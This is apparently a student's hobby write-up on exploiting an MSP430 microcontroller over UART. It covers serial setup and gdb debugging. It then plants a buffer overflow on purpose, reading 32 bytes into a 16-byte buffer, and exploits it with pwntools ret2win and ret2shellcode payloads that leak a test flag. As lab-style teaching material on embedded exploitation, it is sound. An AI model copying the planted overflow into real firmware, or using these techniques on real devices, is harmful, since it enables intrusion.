msp430 pwn
recommended listening for this post is kawasaki backflip by dogleg.
so for my first year of uni they gave us access to an msp430 board and i was naturally very curious as to what you could do with it, here r my findings after a little bit of experimentation. during my trimester proper i couldn’t properly figure out how to get serial communications working*, but now in my second trimester i am wiser and cooler and i have figured that out - and naturally, serial comms -> input/output -> … pwn … ?
*i ended up writing a reversing challenge based on the msp430 architecture but i wasnt happy with it given that theres no actual user input. how can you have a flagchecker if you have no flag to check!!
a few things: i used my friend’s nix flake to set everything up, there are differences in the C syntax (for ISRs specifically) depending on whether or not you use GCC or CCS (code composer studio) to compile your binaries. i will be using GCC in this writeup because i am more familiar with it and i prefer it.
serial comms
the msp430 is a microcontroller. the important thing about the msp430 is that most of its peripherals use memory-mapped IO, in that you can control, read, write from the various peripherals the device has to offer just by accessing memory that the main CPU already has access to.
the peripherals include stuff like timers, LEDs, n most importantly, UART (universal asynchronous receiver-transmitter) :) this is what we’ll be using to actually communicate with the msp430 just by typing in stuff.
a lot of setup needs to be performed before we can actually get UART up n running:
void initialize_uart(void) {
WDTCTL = WDTPW + WDTHOLD; // set watchdog
P4SEL |= BIT4 + BIT5; // setup pins for UART (P4.4 is transmit, P4.5 is receive)
UCA1CTL1 |= UCSWRST; // configure UART, first we place USCI in reset
UCA1CTL1 |= UCSSEL_2; // use SMCLK - the MSP430 has 3 diff clock sources, we use this one (1.048MHz)
UCA1BR0 = 109; // we calculate the BAUD rate, lower byte is BR0, top byte is BR1. 1.048Mhz / 9600 = 109.2
UCA1BR1 = 0; // the number fits inside one byte so we just clear it out
UCA1MCTL |= UCBRS_2; // modulation, because 1.048hmhz is not divisible into 9600 we set this modulation bit
UCA1CTL1 &= ~UCSWRST; // now we can initialize it
}
i have helpfully commented the above code but some additional notes:
-
we need to configure the pins for receiving + transmitting, and the default pin used for that, according to the spec, are P4.4 and P4.5.
however, they are not actually configured for UART functionality by default, hence we need to P4SEL such that they are specifically used for UART.
note that their ‘mapped secondary digital function’ is the functionality shown in the above table. -
we operate on 9600 baud. we do this by setting the USCI module to use the 1.048mhz clock on the msp430, then further dividing that down.
note the registers we use in the code above, and what they correspond to here.
after all of this nonsense, we can get UART setup!
#include <msp430.h>
#include <string.h>
void initialize_uart(void) {
WDTCTL = WDTPW + WDTHOLD; // set watchdog
P4SEL |= BIT4 + BIT5; // setup pins for UART (P4.4 is transmit, P4.5 is receive)
UCA1CTL1 |= UCSWRST; // configure UART, first we place USCI in reset
UCA1CTL1 |= UCSSEL_2; // use SMCLK - the MSP430 has 3 diff clock sources, we use this one (1.048MHz)
UCA1BR0 = 109; // we calculate the BAUD rate, lower byte is BR0, top byte is BR1. 1.048Mhz / 9600 = 109.2
UCA1BR1 = 0; // the number fits inside one byte so we just clear it out
UCA1MCTL |= UCBRS_2; // modulation, because 1.048hmhz is not divisible into 9600 we set this modulation bit
UCA1CTL1 &= ~UCSWRST; // now we can initialize it
UCA1IE |= UCRXIE; // enable RX interrupts, when the UART receives anything our interrupt will actly trigger
}
void main(void) {
initialize_uart();
uart_write("hello vro!\r\n");
}
void uart_write(char* str) {
while (*str) {
while (!(UCA1IFG & UCTXIFG));
UCA1TXBUF = *str++;
}
}
i’ve also written a handy uart_write() function that will iterate through each character, and set the value at the USCI transfer buffer UCA1TXBUF accordingly. if we start our serial listener, then flash+run the program, we can see our output:

the thing is, uart_write only triggers once every runtime. also, this doesn’t let us get any input from UCA1RXBUF at all! our next goal should be to write something that will pick up whenever we send a character, and then ‘mirror’ that character back into the serial console.
we can do this with…
a quick detour into interrupt service routines (ISRs)
most peripherals on the MSP430 are based on interrupts instead of polling, enabling us to write functions that only trigger when the chip detects a character instead of polling it constantly.
void __attribute__ ((interrupt(USCI_A1_VECTOR))) USCI_A1_ISR (void)
{
if (UCA1IV == 2) {
char dummy = UCA1RXBUF;
while (!(UCA1IFG & UCTXIFG));
UCA1TXBUF = dummy;
}
}
UCA1IV is the interrupt vector for USCI, a value of 2 means that there is a character waiting for us in the buffer if so, we save the character, then wait for the transmitter to be ready (hence that while loop), and then populate the transmission buffer with the saved character. this correctly enables our input to be reflected across the serial device:

great! this is a nice way to save computing power by leveraging interrupt service routines.
however, for the most part we will actually just be ‘polling’ the peripheral itself because this makes programming a lot easier xd
actually doing something with input/output
anyways now it’s time to reinvent fgets() from first principles - ideally, we want to be able to read characters from UART, then store them all into a buffer so that we can Actually Do Stuff with the input.
void uart_fgets(char* str, int max_size) {
int count = 0;
while (count < max_size - 1) {
while (!(UCA1IFG & UCRXIFG));
char inp = UCA1RXBUF;
// echo back
while (!(UCA1IFG & UCTXIFG));
UCA1TXBUF = inp;
if (inp == '\r' || inp == '\n') {
str[count] = '\0';
uart_write("\r\n");
return;
} else {
str[count++] = inp;
}
}
str[count] = '\0';
return;
}
here is code to do exactly that! we just keep getting input until a predetermined size or a newline, storing it all into some buffer as we go along.
we can plonk this into a loop:
void input_loop(void) {
char buf[16] = {0};
uart_write("--------\r\nenter input > ");
uart_fgets(buf, 32);
uart_write("input entered > ");
uart_write(buf);
uart_write("\r\n");
return;
}
and then:
void main(void) {
initialize_uart();
__bis_SR_register(GIE);
while (1) {
input_loop();
}
}
this will continually prompt us for input and just echo it back.

nothing exciting so far, just basic i/o!
debugging w/ gdb
the utility i’m using, mspdebug, has built in gdb functionality w/ the gdb command, and the workflow is not entirely dissimilar to kernel pwn: you start the device, then start the debugger, then remotely attach the debugger to the device.

on the left i have mspdebug, and on the right i have the debugger. gdb is a lot more comfortable for me, and we can see various cool things, such as variable names:
(gdb) info variables
All defined variables:
Non-debugging symbols:
0x00002400 __heap_start__
0x00002400 _edata
0x00002400 _end
0x00002404 __HeapLimit
0x00002404 __heap_end__
0x00004400 __stack
0x0000fffe __msp430_resetvec_hook
as well as disassembly for certain functions we may find interesting
(gdb) disass main
Dump of assembler code for function main:
0x000045cc <+0>: call #17630 ;#0x44de
0x000045d0 <+4>: nop
0x000045d2 <+6>: eint
0x000045d4 <+8>: nop
0x000045d6 <+10>: call #17692 ;#0x451c
0x000045da <+14>: call #17692 ;#0x451c
0x000045de <+18>: jmp $-8 ;abs 0x45d6
End of assembler dump.
as well as register values during runtime!
(gdb) info registers
pc 0x446c 0x446c <uart_fgets+10>
sp 0x43ea 17386
sr 0xa 10
cg 0x0 0
r4 0xfffff 1048575
r5 0x4444 17476
r6 0xe0 224
r7 0x6ec0 28352
r8 0xa508 42248
r9 0x0 0
r10 0x2d 45
r11 0x0 0
r12 0x43ec 17388
r13 0x1f 31
r14 0x0 0
r15 0x3 3
(pc is the program counter, or the msp430 equivalent of RIP, and sp is the stack pointer). we can place some breakpoints at our input_loop function and see the contents of the stack, as well:
Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x sp
No symbol table is loaded. Use the "file" command.
(gdb) x/8x $sp
0x43ec: 0x00000000 0x00000000 0x00000000 0x00000000
0x43fc: 0x444645da 0x2d000a0d 0x2d2d2d2d 0x0d2d2d2d
note that the top half is all nulled out, this is because we have allocated that to be a zeroed-out buf var. we can also see the return address, 0x45da, directly after the buf var.
(gdb) bt
#0 0x000045c6 in input_loop ()
#1 0x000045da in main ()
continuing just before the ret instruction:
Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/2i $pc
=> 0x45c6 <input_loop+170>:
add #16, r1 ;#0x0010
0x45ca <input_loop+174>: ret
we can see that the ‘stack’ cleanup here is to increment the stack pointer by 0x10 (as that’s the size of our buf), and to ret by popping the next value off of the stack and jumping to it. this should be quite familiar if you’re familiar with pwn on more conventional platforms (i.e. x86).
therefore this should lead us to…
buffer overflow
say we fgets() with the wrong size:
void input_loop(void) {
char buf[16] = {0};
uart_write("--------\r\nenter input > ");
uart_fgets(buf, 32);
uart_write("input entered > ");
uart_write(buf);
uart_write("\r\n");
return;
}
// let's also include a win() func
void win(void) {
uart_write("you're winner!");
return;
}
by right, since the return address is exactly below the buffer on the stack, if we have an overflow we should be able to overflow into the return address and gain control of PC.
let’s simulate that:
Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x $sp
0x43ec: 0x00000000 0x00000000 0x00000000 0x00000000
0x43fc: 0x444645da 0x2d000a0d 0x2d2d2d2d 0x0d2d2d2d
(gdb) bt
#0 0x000045c6 in input_loop ()
#1 0x000045da in main ()
(gdb) c
Continuing.
Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x $sp
0x43ec: 0x41414141 0x41414141 0x41414141 0x41414141
0x43fc: 0x41414141 0x2d000a0d 0x2d2d2d2d 0x0d2d2d2d
(gdb)
see how the initial return address, 0x45da, is now overwritten with 0x4141, and indeed, if we step through it manually, we will see that the program will attempt to jump to 0x4141:
Breakpoint 1, 0x000045c6 in input_loop ()
(gdb) x/8x $sp
0x43ec: 0x41414141 0x41414141 0x41414141 0x41414141
0x43fc: 0x41414141 0x2d000a0d 0x2d2d2d2d 0x0d2d2d2d
(gdb) stepi
0x000045ca in input_loop ()
(gdb) stepi
0x00004140 in ?? ()
(gdb)
we can just do the same concept that we typically see in ret2win, which is writing the address of the win function to the stack. we can do this with pwntools, which has a built-in way to interface w/ serial devices:
from pwn import *
port = '/dev/ttyACM1'
baud = 9600
context.log_level = 'debug'
io = serialtube(port, baudrate=baud)
io.sendline(b'A' * 16 + p16(0x45e0))
while True:
print(io.recvline())
the exploit is quite rudimentary, we just fill the buffer with A’s, and then append our return address. really this is no different from standard x86 ret2win, and we can see that it basically works identically!
[DEBUG] Sent 0x13 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 e0 45 0a │·E·│
00000013
[DEBUG] Received 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000010 e0 45 0d 0d 0a 69 6e 70 75 74 20 65 6e 74 65 72 │·E··│·inp│ut e│nter│
00000020 65 64 20 3e 20 41 41 41 41 41 41 41 41 41 41 41 │ed >│ AAA│AAAA│AAAA│
00000030 41 41 41 41 41 e0 45 0d 0a │AAAA│A·E·│·│
00000039
b'AAAAAAAAAAAAAAAA\xe0E\r\r\n'
b'input entered > AAAAAAAAAAAAAAAA\xe0E\r\n'
[DEBUG] Received 0x23 bytes:
00000000 79 6f 75 27 72 65 20 77 69 6e 6e 65 72 f8 8c 0e │you'│re w│inne│r···│
00000010 e6 2d 2d 0d 0a 65 6e 74 65 72 20 69 6e 70 75 74 │·--·│·ent│er i│nput│
00000020 20 3e 20 │ > │
00000023
b"you're winner\xf8\x8c\x0e\xe6--\r\n"
ret2shellcode
finally, we can do ret2shellcode. the thing about the msp430 (and other microcontrollers) is that they don’t support NX regions, so everything is also executable.
we can write some shellcode to the stack, and then just jump to the stack to execute. let’s illustrate w/ an example, by trying to leak a variable defined in the program:
__attribute__((used, retain, section(".rodata")))
const char flag[] = "msp430{ret2shellcode_test}";
(these ugly attributes are required so that the compiler doesn’t just get rid of our variable).
the way we can leak this variable is by calling uart_write on it, let’s look at the disassembly for that function:
Disassembly of section .text:
00004446 <uart_write>:
4446: 6d 4c mov.b @r12, r13 ;
4448: cc 93 00 00 cmp.b #0, 0(r12) ;r3 As==00
444c: 09 24 jz $+20 ;abs 0x4460
444e: 1c 53 inc r12 ;
4450: e2 b3 1d 06 bit.b #2, &0x061d ;r3 As==10
4454: fd 27 jz $-4 ;abs 0x4450
4456: c2 4d 0e 06 mov.b r13, &0x060e ;
445a: 7d 4c mov.b @r12+, r13 ;
445c: 0d 93 cmp #0, r13 ;r3 As==00
445e: f8 23 jnz $-14 ;abs 0x4450
4460: 30 41 ret
we can see here that the pointer for our string is in r12. hence, our shellcode will need to mov the address of our flag buffer into r12 first, then call uart_write.
let’s get those addresses:
0x0000fffe __msp430_resetvec_hook
(gdb) x/s 0x442d
0x442d <flag>: "msp430{ret2shellcode_test}"
(gdb) x uart_print
(gdb) x/i uart_write
0x4452 <uart_write>: mov.b @r12, r13 ;
and then let’s compile that shellcode. given that the buffer is 16 bytes in size, i also put in some nops at the beginning:
.section .reset, "a" /* The .reset needs to be alloc, otherwise the flashing tool does not know that this needs to be flashed */
.word start /* Address of entry point */
.text
start:
nop
nop
nop
nop
mov #0x442d, r12
call #0x4452
this gives us the raw bytes of shellcode we need to write to our buffer.
Disassembly of section .text:
0000c000 <start>:
c000: 03 43 nop
c002: 03 43 nop
c004: 03 43 nop
c006: 03 43 nop
c008: 3c 40 2d 44 mov #17453, r12 ;#0x442d
c00c: b0 12 52 44 call #17490 ;#0x4452
last things last, we need to see the actual address of the stack during execution so we know where to jump to.
(gdb) i r
pc 0x45d2 0x45d2 <input_loop+170>
sp 0x43ec 17388
(gdb)
now we know our stack is at 0x43ec, our flag is at 0x442d, and our uart_write is at 0x4452.
putting it all together:
from pwn import *
port = '/dev/ttyACM1'
baud = 9600
io = serialtube(port, baudrate=baud)
payload = b'\x03\x43' * 4 + b'\x3c\x40\x2d\x44' + b'\xb0\x12\x52\x44' + p16(0x43ec)
io.sendline(payload)
while True:
print(io.recvline())
we get our flag!
navi@curette (env/experimentation/solve) > python ret2shellcode.py
[DEBUG] Sent 0x13 bytes:
00000000 03 43 03 43 03 43 03 43 3c 40 2d 44 b0 12 52 44 │·C·C│·C·C│<@-D│··RD│
00000010 ec 43 0a │·C·│
00000013
[DEBUG] Received 0x40 bytes:
00000000 03 43 03 43 03 43 03 43 3c 40 2d 44 b0 12 52 44 │·C·C│·C·C│<@-D│··RD│
00000010 ec 43 0d 0d 0a 69 6e 70 75 74 20 65 6e 74 65 72 │·C··│·inp│ut e│nter│
00000020 65 64 20 3e 20 03 43 03 43 03 43 03 43 3c 40 2d │ed >│ ·C·│C·C·│C<@-│
00000030 44 b0 12 52 44 ec 43 0d 0a 6d 73 70 34 33 30 7b │D··R│D·C·│·msp│430{│
00000040
b'\x03C\x03C\x03C\x03C<@-D\xb0\x12RD\xecC\r\r\n'
b'input entered > \x03C\x03C\x03C\x03C<@-D\xb0\x12RD\xecC\r\n'
[DEBUG] Received 0x28 bytes:
00000000 72 65 74 32 73 68 65 6c 6c 63 6f 64 65 5f 74 65 │ret2│shel│lcod│e_te│
00000010 73 74 f8 8c 0e e6 2d 2d 0d 0a 65 6e 74 65 72 20 │st··│··--│··en│ter │
00000020 69 6e 70 75 74 20 3e 20 │inpu│t > │
00000028
b'msp430{ret2shellcode_test\xf8\x8c\x0e\xe6--\r\n'
yippee!!!